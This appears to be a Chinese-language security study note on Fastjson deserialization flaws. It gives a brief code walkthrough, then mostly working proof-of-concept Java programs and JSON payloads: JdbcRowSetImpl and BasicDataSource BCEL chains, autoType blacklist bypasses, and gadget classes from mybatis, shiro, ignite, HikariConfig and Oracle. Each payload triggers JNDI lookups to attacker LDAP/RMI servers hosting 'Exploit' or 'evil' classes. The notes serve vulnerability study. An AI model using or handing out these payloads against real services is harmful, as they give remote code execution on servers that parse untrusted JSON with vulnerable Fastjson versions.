{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
环境:
//添加依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
介绍:
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
demo:
package FastJson;
public class Person {
private String name;
private int age;
public Person(String name, int age){this.name = name;this.age = age;}
public Person(){System.out.println("constructor");}
public String getName() {System.out.println("getName");return this.name;}
public void setName(String name) {System.out.println("setName");this.name = name;}
public int getAge() {System.out.println("getAge");return this.age;}
public void setAge(int age) { System.out.println("setAge");this.age = age;}
}
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class test {
public static void main(String[] args) throws Exception{
//第一种
String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject.getString("param1"));
//第二种
//String s = "{\"age\":18,\"name\":\"abc\"}";
//Person person = JSON.parseObject(s,Person.class);
//第三种
// String s = "{\"@type\":\"FastJson.Person\",\"age\":18,\"name\":\"abc\"}";
// JSONObject person = JSON.parseObject(s);
}
}
可以看到在主函数中一共有FastJson的三种用法,也相对应有三种结果。
第一种:
aaa
第二种:
constructor
setAge
setName
第三种:
constructor
setAge
setName
getAge
getName
可以看到FastJson在转换为对象的时候是通过getter和setter方法来实现赋值的。
其中第一种和第二种方式都没有操作空间,因为转换成的对象的类型都被确定了,不受我们客户端控制,而第三种就大有作为,是通过我们客户端传入的字符串来指定实例化对象的类型。
流程分析:
调用了parse方法,方法处理后返回的就是一个对象了,最后转换成了JSONObject类型的对象,这个类型就是一个map。进parse方法看看。
DefaultJSONParser就是对传入的字符串进行解析
在下面的parse方法中也是解析字符串,第一个字符是{,因此当作json对象解析,调用JSONObject。
这个函数中前面处理key,后面处理value,在处理key时会判断@符,有@就意味着要执行java的反序列化,类进行了loadClass加载。
这里第一步就是获取了javabean的反序列化器,然后用反序列化器进行反序列化操作。在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数。
主要就是三部分,这里我折叠了,第一for循环获得所有setter方法,第二for循环获得所有public属性 ,第三个for循环获得所有getter方法。主要通过方法名长度,方法返回值来判断getter和setter,其中getter方法有要求,返回值必须是下面之一,且没有对应的setter方法。后续就会调用这些getter和setter。
然后后面部分就会调用setter方法来讲传入的字符串中的值赋值给实例化的对象,哪些满足条件的getter方法也会调用。中间流程复杂就不讲了,直接跳到后面调用getter方法的地方。
实际上就是在toJSON的时候调用的,因为在构建对象的时候当然要通过setter方法来赋值,现在又要将对象转换成JSON,当然要用getter方法来获取对象属性的值。
然后调用getObjectWriter,与前面的desearialize相对应的,会获取所有getter方法(即使不满足前面说的返回值要是四种类型之一)。
在getFieldValuesMap中调用getter方法获取值,跟进去看看。
一路跟进最后是在get中调用了getter方法 ,这里的调用是会调用所有的getter方法的,包括哪些满足条件的getter方法就会调用两次。
链子大全:
fastjson<=1.2.24
JdbcRowSetImpl链:
条件:
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
出网
分析:
这个链子很简单,只有两步。
connect方法中是标准的jndi注入,只要控制能控制this.getDataSourceName()的值,且这个connect方法在某个setter或者满足条件的getter中被调用即可。
datasource可以通过set方法kongzhi
connect方法可以通过set方法触发(get方法的返回值不是那几种)。
因此链子就通了。
poc:
package FastJson;
import com.alibaba.fastjson.JSON;
public class FastJsonjdbcrowsetimpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/CNlBHEim\",\"AutoCommit\":\"false\"}";
JSON.parseObject(s);
}
}
用yakit打开一个LDAP的恶意服务器(双字节字符要关掉不然执行不了),然后执行poc即可。
BasicDataSource链
条件:
引入tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
分析:
这个poc核心是classloader的动态类加载,在com.sun.org.apache.bcel.internal.util包下的classloader类中会判断字节流是不是以BCEL开头,是的话就会实例化这个类。
有一点需要注意在createclass中调用各类decode,所以我们传入的需要进行encode。
在BasicDataSource.createConnectionFactory()中调用了forname方法,这个方法底层就是调用classloader,然后我们向上找getter和setter方法来调用他。
BasicDataSource.createDataSource调用了createConnectionFactory()
BasicDataSource.getConnection()调用了createDataSource(),到这一步逻辑闭环了。
现在还需要我们能控制forname的两个参数
现在我们只需要能够控制forname方法的两个参数即可。
可以看到都能够控制。
poc:
package FastJson;
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
String code = Utility.encode(bytes,true);
// classLoader.loadClass("$$BCEL$$"+code).newInstance();
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName("$$BCEL$$"+code);
// basicDataSource.getConnection();
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
// parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
JSON.parseObject(s);
}
private static byte[] convert(String s) throws Exception {
File file = new File(s);
if (!file.exists()) {
throw new FileNotFoundException("文件未找到:" + s);
}
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}
return byteOutput.toByteArray();
}
}
}
fastjson>=1.2.24
绕过autoTypeSupport
条件:
fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。
fastjson1.2.33-1.2.47版本:
分析:
在fastjson=>1.2.25之后默认autoTypeSupport属性为false
并且多了一个checkautotype的函数,可以看到返回值是一个class,fastjson后续的版本也都是围绕这个函数来进行过滤和加载类的。使用原来的jdbc链会报错,我们来调试一下报错的过程。
、
跟进去看看 ,这里的autoTypeSupport和expectClass默认都是null、
这里尝试从缓存中读取类(如果之前加载过这个类,就会存到缓存,后续用到的时候就会从缓存中找) ,然后直接返回,注意这里就不会经过后续的黑名单检测。
这个mapping属性就是缓存,存放了类名和类的类型的对应,图片只截取部分。可以看到这个操作是在静态代码块中,也就是默认执行的。这里我们要加载的类是jdbcRowSetImpl,缓存中找不到,也就返回null。
然后再autoTypeSupport为false的时候,就会进行黑白名单的检测。
然后就是在这里被检测出来从而报错。
使用黑名单外的类来rce基本不可能,我们就得想办法不经过黑名单。前面提到缓存中如果有相应的类就会直接返回,不会经过黑名单,所以我们就考虑如何往mapping中放入我们的恶意类。
可以看到在classloader中能调用put,再找loadclass再哪里调用,最后找到
这里需要class等于Class类型。
看这个类其实是一个反序列化器,后面会被放到deserializers的缓存中,以后反序列化什么类就会找到相应的反序列化器。
但是有个条件,要实例化成的Class类的键值必须等于val。
然后会将val键对应的值存入objVal和strVal,也就是我们的恶意类的类名
然后loadClass传入strVal
最后放进我们的缓存。
payload:
JdbcRowSetImpl链:
还是用yakit起一个本地Ldap服务
package FastJson;
import com.alibaba.fastjson.JSON;
public class fastjsonAutotype {
public static void main(String[] args){
//第一步:反序列化一个Class类,值为恶意类
//用之前payload从缓存中继续加载
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}
String ParsePayload2 = "{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
"{" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
"\"xxx\":{"+
"\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$...\"" +
"}" +
"}:\"aaa\""+
"}";
BasicDataSource链
条件:
此利用连版本要求比较麻烦
1.2.25~1.2.32之间用不了BasicDataSource链
1.2.37以上不行
package FastJson;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.*;
public class fastjsonAutotype {
public static void main(String[] args) throws Exception{
//第一步:反序列化一个Class类,值为恶意类
//用之前payload从缓存中继续加载
//链1
// String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
//链2
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
String code = Utility.encode(bytes,true);
String s = "{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
"{" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
"\"xxx\":{"+
"\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$"+code+"\"" +
"}" +
"}:\"aaa\""+
"}";
System.out.println(s);
JSON.parseObject(s);
}
private static byte[] convert(String s) throws Exception {
File file = new File(s);
if (!file.exists()) {
throw new FileNotFoundException("文件未找到:" + s);
}
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}
return byteOutput.toByteArray();
}
}
}
BasicDataSource链2:
条件:
与上面的链1适用版本不同,1.2.33~1.2.47
String s = "{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
"{" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
"\"xxx\":{"+
"\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$" + code + "\"" +
"}" +
"}:{\"aaa\":\"bbb\"}"+
"}";
前面部分都是autoTypeSupport为false的情况,如果开发者设置为true,那又有很多绕过,这里就不一一分析了,已经有师傅写的很全面了,这里直接放链接。
fastjson反序列化_学习 | AsaL1n's blog
FastJSON(全系漏洞分析-截至20230325) - FreeBuf网络安全行业门户
autoType=true
fastjson 1.2.25-1.2.41
分析:
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
如果类名以L开头,;结尾,则会直接loadclass而不经过黑名单。
poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
public static void main(String[] args) {
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);
}
}
fastjson 1.2.42
分析:
1.2.42版本将黑名单变成hashcode, 不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist
而在checkAutoType中
会对L
开头;
结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)
加载类
这里双写L和;即可绕过
poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
public static void main(String[] args) {
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);
}
}
Fastjson 1.2.25-1.2.43
分析:
同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[
绕过
poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
public static void main(String[] args) {
String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\",\"autoCommit\":true" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);
}
}
Fastjson 1.2.25-1.2.45
分析:
在1.2.44中修改[
符号产生的绕过
不过依然可以使用黑名单不存在的类进行绕过,不过需要存在mybatis3.x.x系列<3.5.0
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
public static void main(String[] args) {
String PoC ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:8085/yIbdwOih\"}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);
}
}
fastjson1.2.47-66
在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。
org.apache.shiro-core-1.5.1
分析:
存在可控的lookup参数点
public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
poc:
package org.example.fastjson.other;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class AutoCloseable {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(JSON.parseObject(poc));
}
}
br.com.anteros.dbcp.AnterosDBCPConfig
分析:
private Object getObjectOrPerformJndiLookup(Object object)
{
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String) object);
}
catch (NamingException e) {
throw new IllegalArgumentException(e);
}
}
return object;
传递的参数是metricRegistry进入到lookup中,参数可以控制
poc:
package org.example.fastjson.other;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class metricRegistry {
public static void main(String[] args) {
String poc ="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
分析:
jndiNames可控导致注入
poc:
package org.example.fastjson.other;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class metricRegistry {
public static void main(String[] args) {
String poc ="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
分析:
public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;
try {
utxName = (String) props.get("UserTransaction");
InitialContext initCtx = new InitialContext();
userTransaction = (UserTransaction) initCtx.lookup(utxName);
} catch (NamingException e) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
}
}
参数可以控制
poc:
package org.example.fastjson.other;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class metricRegistry {
public static void main(String[] args) {
String poc =" {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
Fastjson =1.2.50
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:1389/test",
"command":"a"
}
Fastjson1.2.50-1.2.59
需要开启AutoType
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
Fastjson1.2.50-1.2.60
无需开启autotype
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
Fastjson1.2.50-1.2.61
开启autotype
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
Fastjson <=1.2.62
利用条件:
- 需要开启AutoType
- 目标服务端需要存在xbean-reflect包
利用载荷:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
Fastjson <=1.2.67
利用条件:
开启AutoType
JNDI注入利用所受的JDK版本限制
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}